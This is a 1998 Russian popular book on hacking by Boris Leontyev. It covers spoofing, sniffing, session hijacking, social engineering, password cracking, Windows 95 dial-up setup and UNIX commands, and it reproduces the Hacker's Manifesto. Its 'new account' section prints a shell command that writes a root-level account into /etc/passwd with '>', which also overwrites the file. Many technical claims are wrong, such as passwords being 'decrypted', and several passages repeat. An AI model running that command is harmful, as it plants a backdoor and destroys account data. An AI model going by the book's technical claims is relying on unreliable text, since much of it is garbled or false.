        Борис Леонтьев. Хакеры, взломщики и другие информационные убийцы

---------------------------------------------------------------
 &copy; Copyright Борис Леонтьев
 Home page:  http://members.rotfl.com/bobleon/ ¦  http://members.rotfl.com/bobleon/
 Email: bobleon@uniinc.msk.ru
---------------------------------------------------------------

     ББК 32.973
     УДК 681.3
     Главный редактор
     Дмитрий Царик
     Корректор
     Ирина Царик
     Художник-дизайнер
     Борис Леонтьев
     Леонтьев Б.
     Л80   Хакеры,   взломщики  и   другие  информационные  убийцы.  --  М.:
Познавательная книга, 1998. -- 192 с.
     ISBN 5-88548-067-2
     Очевидно,  что смысл Сети сетей состоит в  разумности ограничения круга
пользователей  того  или  иного  сервера.  Если  подобный  сервер  закупорен
полностью, то и работать  может  с ним лишь тот, кто его закупорил. Поэтому,
любая  компания,  прежде  чем  принять  решение о  вступлении  в  сообщество
Internet, дает себе отчет  в том, что существует возможность проникновения в
свой  главный  сервер неких  посторонних лиц.  Вот эти  посторонние  лица  и
называются хакерами...
     Copyright й Борис Леонтьев, 1998.
     Copyright й Издательство "Познавательная книга плюс", 1998.
     Copyright й Design Studio M&C, 1998. Оформление серии и этой книги.
     Copyright  й  Издательство  "Утро" совместно с  фирмой "Олег и  Павел",
1998.
     Авторские права  на  настоящую книгу, название серии "Кратко, доступно,
просто" и  оформление самой серии  принадлежат Борису Леонтьеву.  Полное или
частичное копирование книги, а  также публикация  других рукописей  в рамках
этой  серии без  разрешения правообладателя является  нарушением  авторского
права  и может иметь юридические  последствия  в соответствии с  действующим
законодательством.
     Вся   информация,   опубликованная   в  этой   книге   представлена   в
исключительно образовательных  целях, а  также  для  повышения  квалификации
программистов,  системных  администраторов  и  провайдеров  Internet.  Автор
предупреждает читателей этой книги, что  он не несет никакой ответственности
за  те   последствия,  которые  могут  возникнуть  в  результате  проведения
экспериментов с предоставленной информацией.
     Все названия продуктов,  упомянутые в  этой  книге, являются  товарными
знаками    или   зарегистрированными   товарными   знаками   соответствующих
организаций.
     Программное   обеспечение,   описанное  в  этой   книге,   поставляется
исключительно   по  лицензионному   договору  и  может  использоваться   или
копироваться  только в соответствии  с условиями этого договора. Копирование
этого  программного обеспечения на какой-либо носитель  информации,  если на
это  нет  специального  разрешения  по   лицензионному  договору,   является
нарушением Закона Российской Федерации "О правовой охране программ для ЭВМ и
баз данных" и норм международного права.
     ЛР  No  069954  от 01.12.1991  г. Сдано  в  набор 06.07.98. Подписано в
печать 06.09.98. Формат 60X84/16.
     Бумага типографская. Гарнитура "Newton". Печать офсетная.  Физ. печ. л.
12. Тираж 5 000 экз. Заказ 48.
     <b>Hacker's Manifest</b>
     This is our world now... the world  of the electron and the switch, the
beauty of the baud.
     We make use of a service already existing without paying for what could
be dirt  cheep  if  it  wasn't run by profiteering gluttons, and you call us
criminals.  We explore...and  you call  us criminals. We  exist without skin
color,  without  nationality,  without  religious  bias...and  you  call  us
criminals. You build  atomic bombs, wage wars, murder, cheat,  and lie to us
and try to make us believe it is for our own good, yet we're the criminals.
     Yes,  I am  a criminal. My crime is that of curiosity. My crime is that
of judging people by what  they say and  think,  not what they look like. My
crime is that of  outsmarting you, something that you will  never forgive me
for. I am  a hacker and this is my manifesto.  You may stop this individual,
but you can't stop us all... after all, we're all alike.
     <b>Кто такие хакеры</b>
     Очевидно, что смысл Сети сетей  состоит в разумности  ограничения круга
пользователей  того  или  иного  сервера.  Если  подобный  сервер  закупорен
полностью,  то и работать может с ним лишь  тот, кто его закупорил. Поэтому,
любая  компания,  прежде  чем  принять  решение  о  вступлении в  сообщество
Internet, дает себе отчет  в том, что существует возможность проникновения в
свой  главный  сервер  неких посторонних  лиц.  Вот  эти  посторонние лица и
называются хакерами.
     Да, хакеры -- это те, кто взламывают сети.
     Делается это разными способами. Например, через порт терминала или порт
электронной почты.
     Выбрав  жертву,  хакер прежде  всего определяет, имеются ли на  сервере
плохие  пароли,  плохо  настроенный софт или испорченная операционка.  Затем
выбирается  метод  собственной  безопасности. Самый  распространенный способ
проникнуть в сеть так, чтобы остаться незамеченным -- это взлом по цепочке.
     Существуют тонны программ, посредством  которых  компьютер может  вести
поиск  пароля  через перебор  некоторого словаря имен. Сложнее вскрыть сеть,
если пароль логина имеет больше шести символов, чувствителен  к регистру или
содержит цифры.
     Но!  В  настоящее время  многие  сети  открывают  к  себе доступ  через
автоматическое  прохождение  системы паролей. Эта система  построена  на так
называемом файле паролей. В этом файле перечисляются доступные компьютеры  и
пароли сети. Что делает хакер? Он  вламывается в сеть и скачивает этот файл.
Все!
     Другой   способ  взлома   --  взлом  через   отладочные   переключатели
операционных систем.  Как известно эти переключатели могут иногда находиться
во  включенном  состоянии.  Кроме  всех  этих  вышеперечисленных  приблудов,
конечно же, широко используется предварительная вирусная атака.
     Взломав сеть,  хакер заметает следы  и  уничтожает всю компрометирующую
себя информацию. И через некоторое время сматывается.
     Любой  квалифицированный  хакер  через  обыкновенный  факс-модем  может
проникнуть даже в  компьютер правительственного учреждения  и,  при желании,
настолько внедриться в  любую  как  бы то  ни было защищенную  систему,  что
просто-напросто  разрушит   ее.  Так   оно  и  было.   Достаточно  вспомнить
злополучный сегмент  Milnet сети сетей и  всем известную  лабу Rome ВМС США.
Да, это был настоящий  кошмар,  когда один  из этих  чудаков-хакеров  творил
безобразия в течение недели на одной из самых секретных военных баз Америки!
     Вскрыть сеть  можно  и  с помощью  обыкновенного  факс-модема или  даже
факс-аппарата.  Ведь  в  любой  достаточно крупной компании факс подключен к
LAN! А это значит, что через номер факса  хакер открывает доступ к заветному
шлюзу. Любой более или менее серьезный (или даже несерьезный) хакер Internet
ориентируется   на   локальную   сеть.  Ему   интересен   софт   защиты   от
несанкционированного доступа. Он спит новыми  версиями  firewall. Он смеется
при  упоминании дурацкого "брандмауэр".  Sun! Sun! Sun! На  мир  Робин-Гудов
надвигается шерифовский  Sun!  Все! Все погибли! Все хакеры стали системными
администраторами! Они исправились. Они больше не будут...
     Да-да,  системные  администраторы  утверждают, что именно брандмауэр  и
есть  то самое  устройство, размещенное  между локальной  сетью  и Internet,
позволяющее  разного  рода придуркам отстать от нашего  сервера. Вот именно,
что только придуркам. Настоящим придуркам! Лицезреете пакетики для остановки
шпионского  трафика?  А  хакер давно завладел  всеми функциями подтверждения
полномочий!  На самом  деле хакер  может сам  проверить входные  и  выходные
данные.
     Многие  сисады  боятся  прощупывания их хакерами.  И  многие знают, что
закупорка пакетов UDP может остановить вскрытие.
     Почему?  Потому  что  сработает защита!  Да,  хакер блокирует пакеты, а
поэтому любые входы через TCP так  же блокируются. Но проблема в том, что  в
разработке самых умных брандмауэров участвуют те самые хакеры! А почему бы и
нет?  Почему бы и  не написать  код  вирусной  программы, а потом  придумать
соответствующий   антивирус!   Многие   считают,  что  все-таки   существует
возможность  вызвать  мастера,  который  поставит  стальную  дверь с цветным
домофоном. И многие надеются на эти самые  брандмауэры Internet.  Это далеко
не так.  Да, Firewalls способны изолировать локальные  сети  от  вскрытия из
Internet посредством  экранирующих маршрутизаторов,  двусторонних  шлюзов  и
барьерной хост-машины. Но! Проблема в том, что это  известно каждому хакеру.
Экранирующие  маршрутизаторы?  Прекрасно!  Проверка  адреса  IP и  закупорка
фальшивого  трафика?  А  кто говорит,  что это не  так?  Все  верно! Купорим
трафик.  А  как насчет  Telnet и  username/password logon?!  Terminal Access
Controller Access System? Включайте! Но это стоит больших денег.
     Многие  компании  защищаются   электронными  карточками.   Поэтому   их
вскрывают меньше  других.  Это дело действительно грамотно сконфигурировано.
SecurID   Card  имеет  только  тот  юзер,  который  имеет   право   доступа!
Соответствующая  прикладнуха  идентифицирует истинность юзера  через двойную
проверку счета и персональный код.
     Это  все,  действительно, хорошо,  за  исключением  тех  случаев, когда
простой народ подает в суд.  Не проще ли, господа,  просто  повесить трубку?
Пусть всегда будет занято? Или нет?
     А многие, ради эксперимента, допускают к своим сетям хакеров. Результат
бывает плачевным. Хакеры проникают в массу секретных систем, получают полный
контроль и делают так, что их  никто не может  обнаружить в течение  долгого
времени.
     Хакеры  пользуются  ошибками софта. Они  знают, что  система заработает
сама по себе  и  конфиденциальная информация будет качаться  туда,  куда  ей
необходимо  качаться. Бывают, конечно,  и "случайные ошибки". А почему бы  и
нет?  Могут  быть  в   софте  такие  ошибки.  Преднамеренные...  Программные
закладки,  программные  закладки...  Хакеры  используют их  для тех или иных
операций на удаленной машине. Да, действительно, хакеры используют эти самые
закладки  в  своих  межсетевых махинациях! И если  ваша  система  есть  узел
коммутации  телекоммуникационной  сети, то  хакеры могут  расчленить  сеть и
воспользоваться расчлененным файлом  паролей. Именно таким образом на Венеру
не полетел  космический  корабль!  Почему?  Да  потому,  что оператор вместо
запятой  поставил точку.  А  как  насчет  100  000  долларов,  которые  были
позаимствованы   неким  анонимным  подлецом   во  Внешэкономбанке  нерушимой
республики свободной?
     Хакеры,  действительно,  могут свести на  нет  безопасность  информации
любого  сервера!  Кто же  они  такие? Хорошие программисты? Бывшие системные
администраторы?  Обыкновенные   студенты?  Нигилисты?  Оскорбленные   юзеры?
Вундеркинды из компьютерной школы?
     <b>Методы хакинга: Спуфинг</b>
     Известно,  что  любая  система защиты  типа  Firewall  позволяет "жить"
только  определенным  адресам  IP.  Это  весьма  серьезное  препятствие  для
проникновения  в  сеть. Поэтому хакеры  нашли метод  для  преодоления  этого
барьера - спуфинг IP. Сначала  хакер выясняет, какие из адресов IP  проходят
через firewall, затем использует  один  из вычисленных  адресов  в  качестве
своего  и  таким образом получает доступ к системе. Впрочем,  это  не всегда
так.  Например,  известная  система  защиты  FireWall-1  действительно  дает
возможность   установить   прозрачное  подключение  к  Internet,   используя
практически весь диапазон  протоколов  межсетевого взаимодействия, обеспечив
при  этом  некоторую (только в  третьей  версии этого экрана  была  залатана
дырка,  сидевшая  в  кодировке  данных и идентификации клиента-пользователя)
защиту сети. Многих администраторов, конечно, радует интуитивный графический
интерфейс этой системы, а хакеров пугает  многопротокольная проверка пакетов
с так  называемым  учетом состояния протокола (SMLI), поэтому  они стараются
просто обходить сети с FireWall-1, оставив спуффинг для другой системы.
     Многие   системные  администраторы  считают,  что  все-таки  существует
возможность  вызвать  мастера,  который  поставит стальную  дверь  с цветным
домофоном. И многие, конечно, надеются на эти самые брандмауэры Internet.
     Позволю себе  заметить, что это далеко  не  так. Да, Firewalls способны
изолировать локальные сети от вскрытия  из Internet посредством экранирующих
маршрутизаторов, двусторонних шлюзов и барьерной хост-машины. Но! Проблема в
том,   что  это  известно  каждому   хакеру.  Экранирующие   маршрутизаторы?
Прекрасно! Проверка адреса IP и закупорка фальшивого трафика? А кто говорит,
что  это  не  так?  Все  верно!  Купорим  трафик.  А  как  насчет  Telnet  и
username/password  logon?!   Terminal   Access  Controller  Access   System?
Включайте!
     <b>Методы хакинга: Сниффинг</b>
     Сеть TCP/IP -- это около 150 дырок, сквозь которые открывается доступ в
систему (TCP/IP  -- протокол, через  который  устанавливается  исключительно
обоюдное постоянное соединение). Это так и еще раз  так. И  в первую очередь
потому, что любой, кто регистрируется  в сети TCP/IP (через telnet или  ftp)
посылает  данные о  своем  пароле  в обыкновенном  IP-пакете. Поэтому, чтобы
получить пароль и  логин, достаточно выследить подобный пакет, приходящий на
известный адрес,  то есть захватить трафик. Далее у  хакера будет выбор.  Он
может получить реквизиты чайника. Тогда доступ в систему будет ограниченным.
Но если он получит пароль системного администратора, то сможет скачать  файл
паролей всех пользователей системы.
     Сниффинг - один  из самых  популярных методов  воровства данных в  сети
(паролей,  имен  пользователей,  ключей  и  т.д.)  посредством  специального
программного обеспечения (так называемых снифферов).  Снифферы, как правило,
доступны лишь системным  администраторам, так как эти системы весьма дорогие
и  не по карману даже самому крутому хакеру.  Если  сниффер попадает в  руки
хекера, то он сможет весьма эффективно контролировать  сеть, захватив пароль
и идентификационное имя системного администратора.
     Атака  посредством сниффинга не предусматривает  создание  собственного
фальшивого адреса IP для обмана фильтрующей системы адресов. И в самом деле,
зачем  нужен  фальшивый  IP,  если замедляется только скорость  входящего  в
систему  потока  информации.  Это означает, что все можно списать  на плохое
качество связи.
     Лидер среди всех снифферских лидеров -- это пакет IP-Watcher 1.0:
     n выборочное отслеживание пакетов IP.
     n захват активного соединения.
     n закупорка сетевых соединений.
     n закрепление на удаленной системе.
     n прерывание активного соединения TCP.
     n совместное использование нескольких
     соединений.
     n невозможность идентификации
     n административным мониторингом.
     Самый  смак  пакета  IP-Watcher  заключается  в  том,  что  хакер может
продлить жизнь  соединению после его  разрыва  пользователем. Хакер загоняет
пользователя  в  ловушку. Сначала он захватывает  трафик. Затем  рвет связь.
Ждет. Пользователь опять входит  в систему и регистрируется. Пароль у хакера
в кармане.
     Выборочное отслеживание пакетов  IP  позволяет, например, перехватывать
только  идентификационные данные или файлы любого компьютера,  принадлежащие
серверу.
     <b>Методы хакинга: Мусорные бачки</b>
     Хакеры часто исследуют мусорные бачки крупных компаний и иногда находят
счета за  телефонные  переговоры, внутренние  телефоны  компании,  различные
технические руководства, номера кредитных карточек и т.д.
     <b>Методы хакинга: Ловля на дурачка</b>
     Каждый  хороший  хакер  обладает  превосходными  навыками  в  искусстве
пудрить   мозги.  Например,  хакер  может  заручиться   доверием  системного
администратора  с  тем,  чтобы   получить  доступ   к  секретной  информации
посредством простого телефонного разговора, в  котором он  представит себя в
качестве какого-нибудь техника-смотрителя.
     <b>Методы хакинга: Взлом паролей</b>
     Самый простой путь - интуиция хакера  (названия песен, имена  актеров).
Более  сложный  - через  специальную программу,  которая  автоматически ищет
пароль с помощью словаря.
     У хакеров имеется  огромное  количество методов для выяснения паролей и
получения  доступа к  сетям. Эти методы  варьируются от  простых  (запись  в
отдельный log-файл  нажатий  клавиатуры) до изысканно сложных  (дешифрование
огромных баз данных).
     <b>Кошмарные ночи системных администраторов</b>
     Sysad не спит. Он на работе. Он не может спать. А ему так хочется...
     Нужно сказать,  что в  основной  своей  массе  системные  операторы  --
закоренелые   недалекие  пользователи.   Именно   из-за  них   и  происходит
большинство взломов.  Нет,  не  из-за их некоммпетентности, а  скорее  из-за
хамского  поведения  этих сетеподобных  личностей. Сисасады терпеть не могут
придурковатость обыкновенных юзеров. Они их считают недоучками. А если среди
этих недоучек попался хакер!? Пусть попробуют? Вот люди и пробуют. Пробуют и
у них  получается! Сисад смотрит на  дисплей.  Работает  сисад. А  машина-то
тормозит. Почему это она тормозит? Нет,  не понять это  ему. А  где  же этот
файл? А  это, что за папка? Почему  этот файл стал  больше на  сто килобайт!
Боже, какой я дурак! Меня вскрыли! Ма-а-а-а-а-ма!
     Нет,  сисад не теряется.  Сисад  умный.  Сисад  быстро  проверяет  файл
паролей.  Файл паролей! О,  май год! Его скопировали!  Вот  он этот странный
вход. Я  нашел!  Я же говорил,  что нельзя делать столько привилегий! Все, я
погиб... пошла вирусная атака.
     И  не помнит сисад, что накануне весьма грубо отвечал  какому-то дураку
по  обыкновенному  войсовому  телефону.  А этот кто-то и оказался тем  самым
подлым взломщиком. Хе-хе.
     <b>Доступ к Internet, Windows 95 и
     Russian Online</b>
     Итак,  у  вас имеются  модемный  номер доступа  (258-4120),  имя домена
(online.ru), subnet mask (255.255.255.0), первый адрес DNS  (194.67.1.154) и
второй адрес DNS (194.67.1.155).
     Поехали настраивать Windows. Нажимаем <b>Network</b>. Выбираем  <b>Configuration</b>.
Удостоверяемся,   что  присутствуют   <b>Dial-up  Adapter</b>  и   <B>TCP/IP</B>.   Далее,
конфигурируем   <b>TCP/IP    Dynamic   IP    Address</b>.    Теперь   конфигурируем
соответствующий  драйвер для Windows 95.  В папке <b>Control Panel</b>  щелкаем  на
<b>Network</b>, далее на <b>TCP/IP Protocol</b>  и  <b>Properties</b>. В появившемся диалоге в <b>IP
Address  в</b>ыбираем <b>Obtain an IP Address automatically  option</b>, в конфигурации
<b>WINS</b> выбираем <b>Disable WINS Resolution</b> (компания всех провайдерских  компаний
Sovam Teleport не обязывает  вводить IP-входной номер).  Исходя из последних
скобок <b>Client Microsoft  Networks</b>  оставляем без  изменений, а  в пункте <b>DNS
Configuration</b> выбираем опцию <b>Enable DNS</B>.
     Теперь  вводим  собственный <b>localname</b>  в  поле <b>Host</b>, а  в  поле  <b>Domain</b>
вписываем  доменовское простое и понятое <b>online.ru</b>. В поле <b>DNS Server Search
Order</b> вписываем договорный IP адрес сервера (194.67.1.154) и нажимаем кнопку
<b>Add</b>. Поле <b>Domain Suffix Search Order</b> оставляем без изменений.
     Наконец, нажимаем  кнопку <B>ОК</B>, перезагружаемся,  вновь входим в  Windows
95, открываем <b>My Computer</b> и щелкаем на иконке <b>Dial-up Networking</b>. В <b>Make New
Connection</b>  вписываем любое название иконки. Нажимаем <b>Configure</b>, попадаем  в
диалог <b>General</b> и ставим скорость работы в сети.
     Дальнейшие действия должны быть вам понятны. Помните, что в <b>Server Type</b>
в поле <b>Type of Dail-up  Server</b>  вы должны выбрать <B>РРР</B>. При этом опция <b>Log on
to network</b>  в  <b>Advanced Options</b>  должна  остаться неактивизированной!  Кроме
всего этого долбанного бреда обратите  внимание  на  опцию <B>TCP/IP</B> в  <b>Allowed
network protocols</b>. Эта чудная опция должна быть отмечена.
     Далее,  конфигурируем  модем для автоматического  набора в случае, если
линия  занята.  Из  <b>Dial-up Networking  folder</b>  выбираем  <b>Connections</b>, затем
<b>Settings</b> и, наконец, необходимое количество соединений.
     Теперь щелкаем на созданной пиктограмме,  входим в  <b>Connect to</b> и вводим
<b>UserID</b>  в  чудаковато-придурковом формате  <b>UserID@online.ru</b>.  Вводим пароль,
нажимаем  <b>Connect</b>,  входим в систему,  тыкаем  на  <B>F7</B>  и,  игнорируя  диалог
<b>Connected to Dial-up PPP</b>, попадаем в до боли знакомую Сеть.
     <b>Как стать хакером</b>
     Дальше идут шуточки шуточек.
     Стать хакером очень просто.
     Достаточно выучить и понять: математические дисциплины  (математический
анализ, теорию функций  комплексного переменного, алгебру, геометрию, теорию
вероятностей, математическую статистику, математическую  логику и дискретную
математику),    инженерные   дисциплины    (физику,   аппаратные    средства
вычислительной  техники,  основы  радиоэлектроники,  сети  связи   и  защиту
информации  от  технической  разведки),  дисциплины  по  программированию  и
вычислительной технике (информатику, языки программирования высокого уровня,
методы  программирования,  язык  ассемблера, операционные  системы,  системы
управления  базами  данных и  вычислительные  сети), специальные  дисциплины
(криптографию и теоретические основы защиты компьютерных систем).
     Это достаточно  полный  список. Но  если же  говорить о более подробных
хакерских вещах, то вам необходимо знать, что на свете существуют:
     n криптографические методы в системах
     защиты государственной,
     конфиденциальной и коммерческой
     информации.
     n криптографические методы и средства
     защиты и дешифрования информации.
     n математические методы расчета
     надежности шифрсистем.
     n математические модели процессов,
     возникающие при защите информации.
     n методы решения вероятностных,
     статистических и алгоритмических задач
     криптографического анализа, синтеза
     шифрсистем и криптографических
     протоколов.
     n методы определения угроз безопасности
     информации.
     n методы построения математических
     моделей защищаемой информации,
     шифров и шифрсистем.
     n методы преобразования информации
     в сетях различного типа.
     n методы прогнозирования оценок
     криптографической стойкости.
     n обеспечение надежности
     функционирования аппаратуры
     шифрования и тестирования
     программно-аппаратных реализаций
     криптографических алгоритмов.
     n общая методология криптографического
     анализа и построения оценок
     криптографической стойкости
     шифрсистем.
     n определение каналов утечки информации
     методикой измерения и расчета
     параметров опасных сигналов.
     n основные положения теории
     электрических цепей.
     n основные принципы организации систем
     и сетей связи и особенности
     современных сетевых архитектур.
     n основные типы шифров, шифрсистем,
     криптографических протоколов и
     способы выбора системы защиты.
     n особенности разработки и сопровождения
     программного обеспечения для рабочих
     групп и парапрограммирования.
     n принципы построения шифров,
     шифрсистем и криптографических
     протоколов.
     n типовые методы криптографического
     анализа и оценивания
     криптографической стойкости.
     <b>Хакер или взломщик?</b>
     Многие  думают,  что  смысл  существования  хакеров  состоит  в  травле
несчастных  юзеров Internet. Именно  к  таким типам,  наверное,  и относится
Клиффорд  Столл,  выследивший  чудаков  из  Германии, продававших  секретную
компьютерную информацию коммунистам. Наверное, он прав. А вот Роберт Моррис,
автор знаменитого червяка-разрушителя, считает, наверное, по другому.
     Что же может сделать простой хакер? Хакер или взломщик? А есть ли между
ними  разница? Есть мнение, что многие вирусники как раз и пишут антивирусы.
Значит, есть  и хакеры-взломщики или,  нет -- взломщики-хакеры. Впрочем, все
равно информационные убийцы. Как же  эти убийцы узнают пароли,  вторгаются в
Internet и заражают программы на уровне протокола передачи файлов?
     Используя особый софт, который вы можете скачать из Internet, вы можете
сами стать хакером. Наберите в Yahoo шизофреническое "crack"...
     <b>Взлом сети</b>
     Возможен,  например,  с помощью  Internet.  Достаточно  похитить пароль
через  удаленный доступ по протоколам FTP или Telnet. В этом случае у хакера
имеется возможность  перехватить  трафик  и  с  помощью  какой-нибудь ищейки
поймать  идентификаторы пользователей,  а если  повезет, то и  тонны паролей
того или  иного узла. Задача хакера --  получить пароль высокого  уровня, то
есть пароль супервизора, и уже  с помощью  этой информации  захватить пароли
всех остальных юзеров узла.
     Хакер может войти в сеть в  качестве удаленного пользователя под  видом
проверки электронного почтового ящика. Как правило,  пароли для  электронной
почты весьма простые, и иногда поддаются расшифровке с первой попытки.
     Хакеры-профи применяют более  действенные методы  взлома. Речь идет  об
угоне   соединения   TCP.   Схема   проста.   Как   только   реальный   юзер
идентифицируется узлом,  хакер  переключает соединение на себя и  передает в
циклическом  режиме  по  TCP   ряд  цифр  до  тех  пор,  пока  не   получает
последовательность  номеров, через  которую  можно подойти к середине сеанса
связи,  а затем отконнектить юзера. То  есть, хакер не  тратит  зря время на
ломку весьма сложной системы шифрования или раскодировку сеанса регистрации.
Нет! Хакер угоняет весь сеанс регистрации.
     Хакер  может  также воспользоваться ошибками  программного  обеспечения
выбранного узла. Ошибки кодов софта,  обслуживающего удаленных юзеров -- это
беззащитные   дырки.   Например,    знаменитый   Netscape   Navigator    без
конфигурирования защитных  параметров  или  пиратская программа  для  чтения
электронных сообщений, или сценарии  (о  них читайте ниже)  CGI со свободным
входом.
     Возьмем,  например, знаменитую Microsoft  и ее  детище  Windows. Многие
применяют  стек  TCP/UP  этой  системы.  Каждому  же  хакеру  известно,  что
динамическая библиотека  данных, отвечающая  за  этот стек, написана,  мягко
говоря, некорректно, то есть, при большом  желании хакер может по любому  из
протоколов  семейства  TCP/IP  получить  доступ  к   содержимому  винчестера
выбранного хоста.
     <b>Действия системного администратора на хакерские прибамбасы</b>
     n уничтожение подозрительных экаунтов.
     n мониторинг системы.
     n чтение чужой электронной
     корреспонденции.
     n отключение ARP.
     n построение сети без NFS.
     n использование машины без NetBIOS
     над TCP/IP.
     <b>Шлюзовой интерфейс CGI-BIN</b>
     В   подавляющем   числе   удаленных    компьютеров   каталог    CGI-BIN
зарезервирован для  исполняемых файлов.  Это  означает,  что файлы  из этого
каталога  могут  быть запущены  через Web.  Обычно в этом каталоге  хранятся
сценарии на языке PERL, которые запускаются на удаленном сервере
     Web-программой  CGI  (вы   просто  нажимаете  кнопку  Submit,   которая
сформирована кодом формы HTML, написанным для исполняемой  программы CGI). В
этот  каталог, при большом желании, можно поместить и другие файлы,  имеющие
такое  же отношение  к  общему  шлюзовому  интерфейсу, как  и  Билл  Гейтс к
созданию UNIX.
     Гипертекстовый язык предоставляет только информацию для чтения, то есть
модифицировать  Web-страницы  может  лишь  их  автор.  Но!  Используя  общий
шлюзовой  интерфейс   CGI,  можно  добавлять  некоторые   операторы  HTML  в
сгенерированную страницу. Это означает, что вы можете запросить информацию у
Web-сервера, затем запустить поисковый софт и получить то, что вы хотите. Вы
просто вставляете нужные  вам операторы гипертекстового языка в существующую
Web-страницу. Ваша задача -- найти Web-сервер, который  использует CGI и тем
самым способный запускать различный софт.
     Файлы общешлюзового  интерфейса -- это не обыкновенные  текстовики, это
вполне полноценный  софт  (в  частности,  когда  вы  блуждаете  по  Web,  вы
используете CGI). Софт этот (как правило, код пишется на языке сценариев
     Perl -- Practical Extraction  and Report Language)  хранится в каталоге
CGI-BIN  нужного вам  сервера Web.  Хакер  взламывает  сервер,  находит этот
каталог, запускает программу CGI, передает ей подготовленные им  данные, она
их  обрабатывает,  возвращает   на  броузер  хакера  результат  и,  наконец,
преобразовывает уже свои данные в нужную хакеру гипертекстовую страничку.
     Как это  делается? Хакер нажимает Submit  и броузер  начинает  работать
согласно инструкциям  оператора ACTION таким  образом  (происходит  передача
ключей и  значений), что удаленный компьютер запустит сценарий из удаленного
каталога CGI-BIN. К исполняемым файлам каталога CGI-BIN доступ  неограничен.
Поэтому, к примеру, хакер может поместить в  этот каталог  программу  чтения
файлов паролей или небольшую приблуду, позволяющую заменять файлы.
     <b>Демоны команд</b>
     Если вы хотите установить связь с удаленным компьютером  и запустить на
нем демона команды finger, то попробуйте вставить вместо name символ кваквы,
а после кваквы указать  имя удаленного компьютера или  его IP-адрес (имеется
ввиду Telnet). Хакер через эту же квакву может запустить демона какой-нибудь
другой команды. Речь всего-навсего идет о синтаксисе некоторых команд.
     <b>Телнетимся и еще раз телнетимся</b>
     Многие знают, что telnet используется для:
     n регистрации на удаленном компьютере.
     n использования софта Internet, в том
     числе клиентских программ на
     удаленном компьютере.
     n запуска любого доступного софта на
     удаленном компьютере.
     Хакер обращает внимание на последний  из вышеперечисленных фактов и  на
нижеследующие телнетовские сайты:
     anarchy-online.com
     ntiabbs.ntia.doc.gov
     l0pht.com
     sfpg.gcomm.com
     telnet lust.isca.uiowa.edu порт 2600
     pcspm2.dar.csiro.au
     prince.carleton.ca порт 31337
     <b>Любимые хакерами команды UNIX</b>
     Ниже мы  приводим  краткое  описание  команд  UNIX,  без  которых  этой
операционной системой никто бы не пользовался.
     <b>at</b>
     Вы указываете день/час когда выполнится команда.
     <b>batch</b>
     Выполнение команд в процессе загрузки.
     <b>chmod</b>
     Этой командой вы можете изменить полномочия файлового доступа.
     <b>chown</b>
     Был у файла один хозяин, а стал другой.
     <b>cron</b>
     Это демон таймера, точнее демон команд
     batch и at.
     <b>crontab</b>
     Вы можете указать промежутки времени, в течение которых будут выполнены
какие-либо команды.
     <b>ftp</b>
     Работаем с удаленным компьютером. Принимаем или пересылаем файлы.
     <b>kill</b>
     Послать некоторому процессу сигнал о конце работы.
     <b>logname</b>
     Хочу получить регистрационное имя.
     <b>mail</b>
     Прием или пересылка электронных сообщений.
     <b>news</b>
     Отобразить статью из конференции Usenet.
     <b>nslookup</b>
     Получить сведения об IP-адресе домена.
     <b>passwd</b>
     Создать/изменить пароль.
     <b>ps</b>
     Просмотреть, какие процессы в текущий момент времени активизированы.
     <b>pwcheck</b>
     Этой командой вы можете проверить файл  паролей. По умолчанию этот файл
лежит в каталоге /etc/passwd.
     <b>rm</b>
     Стереть файл или каталог.
     <b>sleep</b>
     Не выполнять команду в конкретный промежуток времени.
     <b>su</b>
     Умело  используя  эту  команду,  хакер  может  стать  привилегированным
пользователем.
     <b>telnet</b>
     Доступ к удаленному компьютеру.
     <b>umask</b>
     Если вы  только  создаете файл, то  этой командой вы можете задать  так
называемую маску полномочий этого файла.
     <b>uucp</b>
     Копируем файлы из одного компьютера UNIX в другой.
     <b>uuname</b>
     Отобразить список хостов UUCP.
     <b>uux</b>
     Выполнение команд UNIX на удаленном компьютере.
     <b>who</b>
     Отобразить список текущих пользователей.
     <b>whois</b>
     Получить информацию о текущем пользователе.
     <b>write</b>
     Переслать записку текущему пользователю.
     <b>Кого взламывают в UNIX</b>
     В мире хакеров и киберпанков существует небольшая градация юзеров UNIX.
     n Technical Thug. Обычно системный
     программист, пишущий скрипты на sed,
     C, awk, perl и APL.
     n Administrative Fascist. Законченный
     тунеядец, вынужденный стать системным
     администратором UNIX.
     n Maniac. Взломщик с большим опытом.
     Правда, его талант в области
     компьютерного шпионажа не
     оплачивается ни Мосадом, ни Кубой.
     n Idiot. Обычно кретин или старый
     программист на Коболе, выбранный
     системным администратором
     Международным Комитетом кретинов.
     <b>Лазейка, возникающая при передаче файлов через rcp</b>
     Если параметр rcp утвержден  в  файле config.tel,  то это означает, что
открыт доступ в систему из Internet.
     <b>Новый экаунт</b>
     Чтобы создать новый экаунт, хакер использует следующую конструкцию:
     # cd /home;
     mkdir "Bob's home directory"# echo "Bob Leontyef:
     gandalf:0:0::/dev/tty:compress -f" > /etc/passwd
     Он  может также написать  сценарий  на Perl,  который  создает исходный
каталог и копирует данные в /etc/passwd, /etc/shadow и /etc/group.
     <b>Файл паролей</b>
     Доступ к  файлу паролей  может  быть  даже у простого  пользователя.  В
стандартном UNIX файл  паролей находится  в  каталоге  /etc/passwd. В других
системах этот файл может находиться в другом месте. Кроме того, файл паролей
может быть скрытым.
     Пароли  в   этом  файле  зашифрованы.  Расшифровкой   или   извлечением
занимаются специальные  программы. Именно они и предоставляют  в руки хакера
самый главный пароль -- суперюзера root.
     В файле паролей содержатся семь идущих по порядку вещей:
     n Username
     n Encrypted password
     n User number
     n Group Number
     n GECOS Information
     n Home directory
     n Shell
     Например,  файл  паролей  из   /etc/passwd  может  быть  представлен  в
следующем виде:
     bob:5fg63fhD3d5gh:9406:12:BobLeontyef:/home/fsg/will:/bin/bash
     Эта запись переводится так:
     n Имя пользователя: bob
     n Расшифровка пароля: 5fg63fhD3d5gh
     n Номер пользователя: 9406
     n Номер группы: 12
     n Информация GECOS: Bob Leontyef
     n Каталог по умолчанию: /home/fsg/will
     n Shell: /bin/bash
     Unix-пароли  расшифровываются  только   одним   способом.   Специальная
программа  расшифровывает   текст,  который  вводится   в  поле  password  и
сравнивает этот текст с формой дешифровки.  Поэтому софт, крякающий  пароли,
использует  коллекцию  различных  слов  или  словари. Каждое  слово в  таком
словаре расшифровывается и  сравнивается  с  формой  encrypted  поступающего
пароля.
     Лучшая крякалка паролей для Unix -- Crack  by Alec Muffett, для  DOS --
CrackerJack.
     В UNIX широко применяется система скрытых паролей:  область /etc/passwd
